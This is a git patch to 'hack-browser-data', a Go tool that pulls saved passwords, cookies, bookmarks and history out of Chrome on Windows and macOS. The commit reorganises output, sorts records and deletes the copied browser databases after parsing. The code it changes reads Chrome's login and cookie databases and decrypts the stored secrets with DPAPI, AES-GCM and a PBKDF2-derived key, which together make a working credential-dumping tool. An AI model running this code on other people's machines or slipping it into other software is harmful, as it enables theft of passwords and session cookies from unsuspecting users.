From ebeef65f8100225d1ba0bd12ee67af931132dd9f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?= Date: Fri, 26 Jun 2020 04:33:23 +0800 Subject: [PATCH] feat: sort output by timestamp --- Makefile | 7 ++ README.md | 22 ++-- cmd/cmd.go | 10 +- core/{common => }/common.go | 221 ++++++++++-------------------------- core/output.go | 138 ++++++++++++++++++++++ core/sort.go | 13 +++ log/log.go | 4 +- utils/utils.go | 2 +- utils/utils_darwin.go | 32 +++--- utils/utils_windows.go | 6 +- 10 files changed, 251 insertions(+), 204 deletions(-) create mode 100644 Makefile rename core/{common => }/common.go (52%) create mode 100644 core/output.go create mode 100644 core/sort.go diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..2a42f5f --- /dev/null +++ b/Makefile @@ -0,0 +1,7 @@ +LinuxOS=CGO_ENABLED=0 GOOS=linux GOARCH=amd64 +MacOS=CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 +Windows=CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 +DATE=$(shell date +'%Y-%m-%d %H:%M:%S') + +win: + $(Windows) go build -o /Users/finkployd/Desktop/hack.exe main.go diff --git a/README.md b/README.md index 9905149..a5cd568 100644 --- a/README.md +++ b/README.md @@ -42,16 +42,16 @@ GLOBAL OPTIONS: ### 目前支持平台 -| Browser | Password | Cookie | Bookmark | History | -| :------------- | :------: | :----: | :------: | :-----: | -| Windows Chrome | ✔ | ✔ | ✔ | ✔ | -| MacOS Chrome | ✔ | ✔ | ✔ | ✔ | -| Linux Chrome | ✖ | ✖ | ✖ | ✖ | -| Windows Edge | ✖ | ✖ | ✖ | ✖ | -| MacOS Edge | ✖ | ✖ | ✖ | ✖ | -| Linux Edge | ✖ | ✖ | ✖ | ✖ | -| MacOS Safari | ✖ | ✖ | ✖ | ✖ | -| MacOS Keychain | ✖ | | | | +| Browser | Password | Cookie | Bookmark | History | +| :-------------------------------- | :------: | :----: | :------: | :-----: | +| Windows Chrome | ✔ | ✔ | ✔ | ✔ | +| MacOS Chrome
(need password) | ✔ | ✔ | ✔ | ✔ | +| Linux Chrome | ✖ | ✖ | ✖ | ✖ | +| Windows Edge | ✖ | ✖ | ✖ | ✖ | +| MacOS Edge | ✖ | ✖ | ✖ | ✖ | +| Linux Edge | ✖ | ✖ | ✖ | ✖ | +| MacOS Safari | ✖ | ✖ | ✖ | ✖ | +| MacOS Keychain | ✖ | | | | ### Todo List @@ -65,7 +65,7 @@ GLOBAL OPTIONS: | Chrome | 360 Safe | Firefox | QQ Browser | IE | Sogou Explorer | | :----- | :------: | :-----: | :--------: | :---: | :------------: | -| 68.33% | 9.4% | 8.91% | 4.41% | 5.65% | 4.74% | +| 39.85% | 22.26% | 9.28% | 6.5% | 5.65% | 4.74% | Based on those two lists, I woulf support those browser in the future diff --git a/cmd/cmd.go b/cmd/cmd.go index 8575d00..819094b 100644 --- a/cmd/cmd.go +++ b/cmd/cmd.go @@ -1,7 +1,7 @@ package cmd import ( - "hack-browser-data/core/common" + "hack-browser-data/core" "hack-browser-data/log" "hack-browser-data/utils" "os" @@ -33,7 +33,6 @@ func Execute() { Action: func(c *cli.Context) error { log.InitLog() utils.MakeDir(exportDir) - var fileList []string switch exportData { case "all": @@ -47,7 +46,6 @@ func Execute() { if err != nil { panic(err) } - for _, v := range fileList { dst := filepath.Base(v) err := utils.CopyDB(v, dst) @@ -55,15 +53,15 @@ func Execute() { log.Println(err) continue } - common.ParseDB(dst) + core.ChromeDB(dst) } if outputFormat == "json" { - err := common.FullData.OutPutJson(exportDir, outputFormat) + err := core.FullData.OutPutJson(exportDir, outputFormat) if err != nil { log.Error(err) } } else { - err := common.FullData.OutPutCsv(exportDir, outputFormat) + err := core.FullData.OutPutCsv(exportDir, outputFormat) if err != nil { log.Error(err) } diff --git a/core/common/common.go b/core/common.go similarity index 52% rename from core/common/common.go rename to core/common.go index e8d95b5..ce7f792 100644 --- a/core/common/common.go +++ b/core/common.go @@ -1,16 +1,13 @@ -package common +package core import ( - "bytes" "database/sql" - "encoding/json" "hack-browser-data/log" "hack-browser-data/utils" "os" + "sort" "time" - "github.com/gocarina/gocsv" - _ "github.com/mattn/go-sqlite3" "github.com/tidwall/gjson" ) @@ -20,14 +17,6 @@ const ( Safari = "Safari" ) -var ( - FullData = new(BrowserData) - bookmarkList []*Bookmarks - cookieList []*Cookies - historyList []*History - loginItemList []*LoginData -) - const ( bookmarkID = "id" bookmarkAdded = "date_added" @@ -37,30 +26,37 @@ const ( bookmarkChildren = "children" ) +var ( + FullData = new(BrowserData) +) + type ( BrowserData struct { BrowserName string - OutPutType string - LoginData []*LoginData - Bookmarks []*Bookmarks - Cookies []*Cookies - History []*History + LoginDataSlice + BookmarkSlice + CookieMap + HistorySlice } - LoginData struct { + LoginDataSlice []loginData + BookmarkSlice []bookmarks + CookieMap map[string][]cookies + HistorySlice []history + loginData struct { UserName string - EncryptPass []byte + encryptPass []byte Password string LoginUrl string CreateDate time.Time } - Bookmarks struct { - ID string + bookmarks struct { + ID int64 DateAdded time.Time URL string Name string Type string } - Cookies struct { + cookies struct { KeyName string encryptValue []byte Value string @@ -73,7 +69,7 @@ type ( CreateDate time.Time ExpireDate time.Time } - History struct { + history struct { Url string Title string VisitCount int @@ -81,130 +77,7 @@ type ( } ) -func (b BrowserData) OutPutCsv(dir, format string) error { - switch { - case len(b.Bookmarks) != 0: - filename := utils.FormatFileName(dir, utils.Bookmarks, format) - file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - defer file.Close() - if err != nil { - log.Errorf("create file %s fail", filename) - } - err = gocsv.MarshalFile(b.Bookmarks, file) - if err != nil { - log.Error(err) - } - fallthrough - case len(b.LoginData) != 0: - filename := utils.FormatFileName(dir, utils.LoginData, format) - file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - defer file.Close() - if err != nil { - log.Errorf("create file %s fail", filename) - } - err = gocsv.MarshalFile(b.LoginData, file) - if err != nil { - log.Error(err) - } - fallthrough - case len(b.Cookies) != 0: - filename := utils.FormatFileName(dir, utils.Cookies, format) - file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - defer file.Close() - if err != nil { - log.Errorf("create file %s fail", filename) - } - err = gocsv.MarshalFile(b.Cookies, file) - if err != nil { - log.Error(err) - } - fallthrough - case len(b.History) != 0: - filename := utils.FormatFileName(dir, utils.History, format) - file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - defer file.Close() - if err != nil { - log.Errorf("create file %s fail", filename) - } - err = gocsv.MarshalFile(b.History, file) - if err != nil { - log.Error(err) - } - } - return nil -} - -func (b BrowserData) OutPutJson(dir, format string) error { - switch { - case len(b.Bookmarks) != 0: - filename := utils.FormatFileName(dir, utils.Bookmarks, format) - file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - defer file.Close() - if err != nil { - log.Errorf("create file %s fail", filename) - } - w := new(bytes.Buffer) - enc := json.NewEncoder(w) - enc.SetEscapeHTML(false) - enc.SetIndent("", "\t") - enc.Encode(b.BrowserName) - file.Write(w.Bytes()) - fallthrough - case len(b.Cookies) != 0: - filename := utils.FormatFileName(dir, utils.Cookies, format) - file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - defer file.Close() - if err != nil { - log.Errorf("create file %s fail", filename) - } - w := new(bytes.Buffer) - enc := json.NewEncoder(w) - enc.SetEscapeHTML(false) - enc.SetIndent("", "\t") - err = enc.Encode(b.Cookies) - if err != nil { - log.Println(err) - } - file.Write(w.Bytes()) - fallthrough - case len(b.History) != 0: - filename := utils.FormatFileName(dir, utils.History, format) - file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - defer file.Close() - if err != nil { - log.Errorf("create file %s fail", filename) - } - w := new(bytes.Buffer) - enc := json.NewEncoder(w) - enc.SetEscapeHTML(false) - enc.SetIndent("", "\t") - err = enc.Encode(b.History) - if err != nil { - log.Println(err) - } - file.Write(w.Bytes()) - fallthrough - case len(b.LoginData) != 0: - filename := utils.FormatFileName(dir, utils.LoginData, format) - file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - defer file.Close() - if err != nil { - log.Errorf("create file %s fail", filename) - } - w := new(bytes.Buffer) - enc := json.NewEncoder(w) - enc.SetEscapeHTML(false) - enc.SetIndent("", "\t") - err = enc.Encode(b.LoginData) - if err != nil { - log.Println(err) - } - file.Write(w.Bytes()) - } - return nil -} - -func ParseDB(dbname string) { +func ChromeDB(dbname string) { switch dbname { case utils.LoginData: parseLogin() @@ -217,8 +90,11 @@ func ParseDB(dbname string) { } } +var bookmarkList BookmarkSlice + func parseBookmarks() { bookmarks, err := utils.ReadFile(utils.Bookmarks) + defer os.Remove(utils.Bookmarks) if err != nil { log.Println(err) } @@ -230,14 +106,19 @@ func parseBookmarks() { return true }) } - FullData.Bookmarks = bookmarkList + sort.Slice(bookmarkList, func(i, j int) bool { + return bookmarkList[i].ID < bookmarkList[j].ID + }) + FullData.BookmarkSlice = bookmarkList } var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` func parseLogin() { - login := &LoginData{} + var loginItemList LoginDataSlice + login := loginData{} loginDB, err := sql.Open("sqlite3", utils.LoginData) + defer os.Remove(utils.LoginData) defer func() { if err := loginDB.Close(); err != nil { log.Println(err) @@ -260,9 +141,9 @@ func parseLogin() { create int64 ) err = rows.Scan(&url, &username, &pwd, &create) - login = &LoginData{ + login = loginData{ UserName: username, - EncryptPass: pwd, + encryptPass: pwd, LoginUrl: url, CreateDate: utils.TimeEpochFormat(create), } @@ -273,14 +154,17 @@ func parseLogin() { } loginItemList = append(loginItemList, login) } - FullData.LoginData = loginItemList + sort.Sort(loginItemList) + FullData.LoginDataSlice = loginItemList } var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` func parseCookie() { - cookies := &Cookies{} + cookie := cookies{} + cookieMap := make(map[string][]cookies) cookieDB, err := sql.Open("sqlite3", utils.Cookies) + defer os.Remove(utils.Cookies) defer func() { if err := cookieDB.Close(); err != nil { log.Println(err) @@ -304,7 +188,7 @@ func parseCookie() { encryptValue []byte ) err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent) - cookies = &Cookies{ + cookie = cookies{ KeyName: key, Host: host, Path: path, @@ -318,17 +202,23 @@ func parseCookie() { } // remove prefix 'v10' value, err = utils.DecryptChromePass(encryptValue) - cookies.Value = value - cookieList = append(cookieList, cookies) + cookie.Value = value + if _, ok := cookieMap[host]; ok { + cookieMap[host] = append(cookieMap[host], cookie) + } else { + cookieMap[host] = []cookies{cookie} + } } - FullData.Cookies = cookieList + FullData.CookieMap = cookieMap } var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` func parseHistory() { - history := &History{} + var historyList HistorySlice + h := history{} historyDB, err := sql.Open("sqlite3", utils.History) + defer os.Remove(utils.History) defer func() { if err := historyDB.Close(); err != nil { log.Println(err) @@ -351,7 +241,7 @@ func parseHistory() { lastVisitTime int64 ) err := rows.Scan(&url, &title, &visitCount, &lastVisitTime) - history = &History{ + h = history{ Url: url, Title: title, VisitCount: visitCount, @@ -361,14 +251,17 @@ func parseHistory() { log.Println(err) continue } - historyList = append(historyList, history) + historyList = append(historyList, h) } - FullData.History = historyList + sort.Slice(historyList, func(i, j int) bool { + return historyList[i].VisitCount > historyList[j].VisitCount + }) + FullData.HistorySlice = historyList } func getBookmarkChildren(value gjson.Result) (children gjson.Result) { - b := new(Bookmarks) - b.ID = value.Get(bookmarkID).String() + b := bookmarks{} + b.ID = value.Get(bookmarkID).Int() nodeType := value.Get(bookmarkType) b.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()) b.URL = value.Get(bookmarkUrl).String() diff --git a/core/output.go b/core/output.go new file mode 100644 index 0000000..3b4947f --- /dev/null +++ b/core/output.go @@ -0,0 +1,138 @@ +package core + +import ( + "bytes" + "encoding/json" + "hack-browser-data/log" + "hack-browser-data/utils" + "os" + + "github.com/gocarina/gocsv" +) + +func (b BrowserData) OutPutCsv(dir, format string) error { + switch { + case len(b.BookmarkSlice) != 0: + filename := utils.FormatFileName(dir, utils.Bookmarks, format) + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer file.Close() + if err != nil { + log.Errorf("create file %s fail", filename) + } + err = gocsv.MarshalFile(b.BookmarkSlice, file) + if err != nil { + log.Error(err) + } + fallthrough + case len(b.LoginDataSlice) != 0: + filename := utils.FormatFileName(dir, utils.LoginData, format) + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer file.Close() + if err != nil { + log.Errorf("create file %s fail", filename) + } + err = gocsv.MarshalFile(b.LoginDataSlice, file) + if err != nil { + log.Error(err) + } + fallthrough + case len(b.CookieMap) != 0: + filename := utils.FormatFileName(dir, utils.Cookies, format) + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer file.Close() + if err != nil { + log.Errorf("create file %s fail", filename) + } + var tempSlice []cookies + for _, v := range b.CookieMap { + tempSlice = append(tempSlice, v...) + } + err = gocsv.MarshalFile(tempSlice, file) + if err != nil { + log.Error(err) + } + fallthrough + case len(b.HistorySlice) != 0: + filename := utils.FormatFileName(dir, utils.History, format) + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer file.Close() + if err != nil { + log.Errorf("create file %s fail", filename) + } + err = gocsv.MarshalFile(b.HistorySlice, file) + if err != nil { + log.Error(err) + } + } + return nil +} + +func (b BrowserData) OutPutJson(dir, format string) error { + switch { + case len(b.BookmarkSlice) != 0: + filename := utils.FormatFileName(dir, utils.Bookmarks, format) + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer file.Close() + if err != nil { + log.Errorf("create file %s fail", filename) + } + w := new(bytes.Buffer) + enc := json.NewEncoder(w) + enc.SetEscapeHTML(false) + enc.SetIndent("", "\t") + enc.Encode(b.BookmarkSlice) + file.Write(w.Bytes()) + fallthrough + case len(b.CookieMap) != 0: + filename := utils.FormatFileName(dir, utils.Cookies, format) + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer file.Close() + if err != nil { + log.Errorf("create file %s fail", filename) + } + w := new(bytes.Buffer) + enc := json.NewEncoder(w) + enc.SetEscapeHTML(false) + enc.SetIndent("", "\t") + err = enc.Encode(b.CookieMap) + if err != nil { + log.Println(err) + } + file.Write(w.Bytes()) + fallthrough + case len(b.HistorySlice) != 0: + filename := utils.FormatFileName(dir, utils.History, format) + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer file.Close() + if err != nil { + log.Errorf("create file %s fail", filename) + } + w := new(bytes.Buffer) + enc := json.NewEncoder(w) + enc.SetEscapeHTML(false) + enc.SetIndent("", "\t") + err = enc.Encode(b.HistorySlice) + if err != nil { + log.Println(err) + } + file.Write(w.Bytes()) + fallthrough + case len(b.LoginDataSlice) != 0: + filename := utils.FormatFileName(dir, utils.LoginData, format) + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer file.Close() + if err != nil { + log.Errorf("create file %s fail", filename) + } + w := new(bytes.Buffer) + enc := json.NewEncoder(w) + enc.SetEscapeHTML(false) + enc.SetIndent("", "\t") + err = enc.Encode(b.LoginDataSlice) + if err != nil { + log.Println(err) + } + file.Write(w.Bytes()) + } + return nil +} diff --git a/core/sort.go b/core/sort.go new file mode 100644 index 0000000..d9fd061 --- /dev/null +++ b/core/sort.go @@ -0,0 +1,13 @@ +package core + +func (l LoginDataSlice) Len() int { + return len(l) +} + +func (l LoginDataSlice) Less(i, j int) bool { + return l[i].CreateDate.After(l[j].CreateDate) +} + +func (l LoginDataSlice) Swap(i, j int) { + l[i], l[j] = l[j], l[i] +} diff --git a/log/log.go b/log/log.go index 4dbf896..c4de3fb 100644 --- a/log/log.go +++ b/log/log.go @@ -20,7 +20,7 @@ var ( } ) -func InitLog() { +func InitLog() { logger := newLogger("debug") formatLogger = logger.Sugar() } @@ -111,6 +111,6 @@ func Fatalf(template string, args ...interface{}) { formatLogger.Fatalf(template, args...) } -func Println(args ...interface{}) { +func Println(args ...interface{}) { formatLogger.Debug(args...) } diff --git a/utils/utils.go b/utils/utils.go index c149ef1..48359ee 100644 --- a/utils/utils.go +++ b/utils/utils.go @@ -13,7 +13,7 @@ import ( ) var ( - passwordIsEmpty = errors.New("decrypt fail, password is empty") + passwordIsEmpty = errors.New("decrypt fail, password is empty") ) type DecryptError struct { diff --git a/utils/utils_darwin.go b/utils/utils_darwin.go index d9c5066..94a0243 100644 --- a/utils/utils_darwin.go +++ b/utils/utils_darwin.go @@ -6,7 +6,6 @@ import ( "crypto/cipher" "crypto/sha1" "errors" - "fmt" "hack-browser-data/log" "os/exec" "path/filepath" @@ -25,21 +24,6 @@ var ( chromeKey []byte ) -func GetDBPath(dbName ...string) (dbFile []string) { - for _, v := range dbName { - s, err := filepath.Glob(macChromeDir + v) - if err != nil && len(s) == 0 { - continue - } - if len(s) > 0 { - log.Debugf("Find %s File Success", v) - log.Debugf("%s file location is %s", v, s[0]) - dbFile = append(dbFile, s[0]) - } - } - return dbFile -} - func InitChromeKey() error { var ( cmd *exec.Cmd @@ -63,6 +47,21 @@ func InitChromeKey() error { return err } +func GetDBPath(dbName ...string) (dbFile []string) { + for _, v := range dbName { + s, err := filepath.Glob(macChromeDir + v) + if err != nil && len(s) == 0 { + continue + } + if len(s) > 0 { + log.Debugf("Find %s File Success", v) + log.Debugf("%s file location is %s", v, s[0]) + dbFile = append(dbFile, s[0]) + } + } + return dbFile +} + func decryptChromeKey(chromePass []byte) { chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New) } @@ -73,7 +72,6 @@ func DecryptChromePass(encryptPass []byte) (string, error) { } else { return "", &DecryptError{ err: passwordIsEmpty, - msg: fmt.Sprintf("password is %s", string(encryptPass)), } } } diff --git a/utils/utils_windows.go b/utils/utils_windows.go index 5dbe650..128a9e4 100644 --- a/utils/utils_windows.go +++ b/utils/utils_windows.go @@ -34,7 +34,7 @@ func InitChromeKey() error { if err != nil { return err } - chromeKey, err = decryptStringWithDPAPI(masterKey[5:]) + chromeKey, err = DecryptStringWithDPAPI(masterKey[5:]) return err } @@ -73,7 +73,7 @@ func aesGCMDecrypt(crypted, key, nounce []byte) (string, error) { if err != nil { return "", err } - blockMode, _ := cipher.NewGCM(block) + blockMode, err := cipher.NewGCM(block) origData, err := blockMode.Open(nil, nounce, crypted, nil) if err != nil { return "", err @@ -103,7 +103,7 @@ func (b *DataBlob) ToByteArray() []byte { } // chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82 -func decryptStringWithDPAPI(data []byte) ([]byte, error) { +func DecryptStringWithDPAPI(data []byte) ([]byte, error) { dllCrypt := syscall.NewLazyDLL("Crypt32.dll") dllKernel := syscall.NewLazyDLL("Kernel32.dll") procDecryptData := dllCrypt.NewProc("CryptUnprotectData")